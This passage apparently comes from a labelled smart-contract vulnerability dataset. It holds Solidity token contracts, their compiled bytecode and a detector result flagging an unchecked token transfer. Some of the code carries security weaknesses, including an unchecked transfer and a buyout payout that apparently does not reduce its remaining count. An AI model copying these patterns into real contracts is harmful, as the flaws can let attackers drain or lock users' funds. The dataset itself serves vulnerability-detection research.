tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae3565b005b34801561043c57600080fd5b50610445610d03565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d3c565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc8565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4f565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280601a81526020017f496e7465726e6574206f66204d65646963616c205468696e677300000000000081525081565b6000806106ed3385610dc8565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb0565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a2565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad9576109d46a334902bc15a18cfe000000600454611488565b8211156109e45760009050610ade565b610a2c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a600454836114a1565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ade565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7c57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b505050506040513d6020811015610c4c57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600481526020017f496f4d540000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9757600080fd5b600560009054906101000a900460ff1615610db55760009050610dc2565b610dbf83836114bf565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eab57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee657600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110df57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116c5760009050611481565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bb5760009050611481565b6000821180156111f757508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141757611282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d46000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149657fe5b818303905092915050565b60008082840190508381101515156114b557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154b576000905061170b565b60008211801561158757508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a1576115d46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a723058202f154b16fde560b8ce6f6c2df594b8b45d50006a3dda25f3d8f28ec72959f0450029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
6,805
0x10ab055e62626c12e1f37720e8c38ec01a6de427
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract InvestorToken is StandardToken, Ownable { using SafeMath for uint; string public name = "Investor Token T77"; string public symbol = "T77"; uint public decimals = 2; uint public constant INITIAL_SUPPLY = 1000000000 * 10**2; mapping (address => bool) public distributors; address[] public distributorsList; bool public byuoutActive; uint public byuoutCount; uint public priceForBasePart; function InvestorToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } /* Token can receive ETH */ function() external payable { } /* define who can transfer Tokens: owner and distributors */ modifier canTransfer() { require(distributors[msg.sender] || msg.sender == owner); _; } /* set distributor for address: state true/false = on/off distributing */ function setDistributor(address distributor, bool state) external onlyOwner{ distributorsList.push(distributor); distributors[distributor] = state; } /* buyout mode is set to flag "status" value, true/false */ function setByuoutActive(bool status) public onlyOwner { byuoutActive = status; } /* set Max token count to buyout */ function setByuoutCount(uint count) public onlyOwner { byuoutCount = count; } /* set Token base-part prise in "wei" */ function setPriceForBasePart(uint newPriceForBasePart) public onlyOwner { priceForBasePart = newPriceForBasePart; } /* send Tokens to any investor by owner or distributor */ function sendToInvestor(address investor, uint value) public canTransfer { require(investor != 0x0 && value > 0); require(value <= balances[owner]); balances[owner] = balances[owner].sub(value); balances[investor] = balances[investor].add(value); addTokenHolder(investor); Transfer(owner, investor, value); } /* transfer method, with byuout */ function transfer(address to, uint value) public returns (bool success) { require(to != 0x0 && value > 0); if(to == owner && byuoutActive && byuoutCount > 0){ uint bonus = 0 ; if(value > byuoutCount){ bonus = byuoutCount.mul(priceForBasePart); }else{ bonus = value.mul(priceForBasePart); byuoutCount = byuoutCount.sub(value); } msg.sender.transfer(bonus); } addTokenHolder(to); return super.transfer(to, value); } function transferFrom(address from, address to, uint value) public returns (bool success) { require(to != 0x0 && value > 0); addTokenHolder(to); return super.transferFrom(from, to, value); } /* Token holders */ mapping(uint => address) public indexedTokenHolders; mapping(address => uint) public tokenHolders; uint public tokenHoldersCount = 0; function addTokenHolder(address investor) private { if(investor != owner && indexedTokenHolders[0] != investor && tokenHolders[investor] == 0){ tokenHolders[investor] = tokenHoldersCount; indexedTokenHolders[tokenHoldersCount] = investor; tokenHoldersCount ++; } } }
0x60606040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610161578063095ea7b3146101ef57806318160ddd1461024957806321c4d6501461027257806323b872dd1461029b5780632ff2e9dc14610314578063313ce5671461033d5780634787513a146103665780634a9bdb651461038f578063638b5e53146103b8578063661884631461040557806370a082311461045f5780638da5cb5b146104ac57806395d89b4114610501578063994e8f261461058f578063a9059cbb146105f2578063b0b189ca1461064c578063c53f926b1461068e578063c5f70682146106b3578063cc642784146106d6578063d59ba0df14610727578063d73dd6231461076b578063dd62ed3e146107c5578063e52d065914610831578063ebc3425014610854578063f2fde38b146108b7578063ffe57c16146108f0575b005b341561016c57600080fd5b61017461091d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101b4578082015181840152602081019050610199565b50505050905090810190601f1680156101e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101fa57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109bb565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610aad565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b610285610ab7565b6040518082815260200191505060405180910390f35b34156102a657600080fd5b6102fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610abd565b604051808215151515815260200191505060405180910390f35b341561031f57600080fd5b610327610b0d565b6040518082815260200191505060405180910390f35b341561034857600080fd5b610350610b16565b6040518082815260200191505060405180910390f35b341561037157600080fd5b610379610b1c565b6040518082815260200191505060405180910390f35b341561039a57600080fd5b6103a2610b22565b6040518082815260200191505060405180910390f35b34156103c357600080fd5b6103ef600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b28565b6040518082815260200191505060405180910390f35b341561041057600080fd5b610445600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b40565b604051808215151515815260200191505060405180910390f35b341561046a57600080fd5b610496600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd1565b6040518082815260200191505060405180910390f35b34156104b757600080fd5b6104bf610e19565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561050c57600080fd5b610514610e3f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610554578082015181840152602081019050610539565b50505050905090810190601f1680156105815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561059a57600080fd5b6105b06004808035906020019091905050610edd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105fd57600080fd5b610632600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f1c565b604051808215151515815260200191505060405180910390f35b341561065757600080fd5b61068c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611089565b005b341561069957600080fd5b6106b1600480803515159060200190919050506113d8565b005b34156106be57600080fd5b6106d46004808035906020019091905050611451565b005b34156106e157600080fd5b61070d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506114b7565b604051808215151515815260200191505060405180910390f35b341561073257600080fd5b610769600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803515159060200190919050506114d7565b005b341561077657600080fd5b6107ab600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115f1565b604051808215151515815260200191505060405180910390f35b34156107d057600080fd5b61081b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117ed565b6040518082815260200191505060405180910390f35b341561083c57600080fd5b6108526004808035906020019091905050611874565b005b341561085f57600080fd5b61087560048080359060200190919050506118da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108c257600080fd5b6108ee600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061190d565b005b34156108fb57600080fd5b610903611a65565b604051808215151515815260200191505060405180910390f35b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b35780601f10610988576101008083540402835291602001916109b3565b820191906000526020600020905b81548152906001019060200180831161099657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600b5481565b6000808373ffffffffffffffffffffffffffffffffffffffff1614158015610ae55750600082115b1515610af057600080fd5b610af983611a78565b610b04848484611c35565b90509392505050565b64174876e80081565b60065481565b600e5481565b600a5481565b600d6020528060005260406000206000915090505481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c51576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ce5565b610c648382611fef90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ed55780601f10610eaa57610100808354040283529160200191610ed5565b820191906000526020600020905b815481529060010190602001808311610eb857829003601f168201915b505050505081565b600881815481101515610eec57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008473ffffffffffffffffffffffffffffffffffffffff1614158015610f465750600083115b1515610f5157600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610fba5750600960009054906101000a900460ff165b8015610fc857506000600a54115b1561106d5760009050600a54831115610ff957610ff2600b54600a5461200890919063ffffffff16565b905061102c565b61100e600b548461200890919063ffffffff16565b905061102583600a54611fef90919063ffffffff16565b600a819055505b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561106c57600080fd5b5b61107684611a78565b6110808484612043565b91505092915050565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061112e5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561113957600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff16141580156111605750600081115b151561116b57600080fd5b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156111da57600080fd5b61124d81600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fef90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611302816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226290919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134d82611a78565b8173ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143457600080fd5b80600960006101000a81548160ff02191690831515021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ad57600080fd5b80600a8190555050565b60076020528060005260406000206000915054906101000a900460ff1681565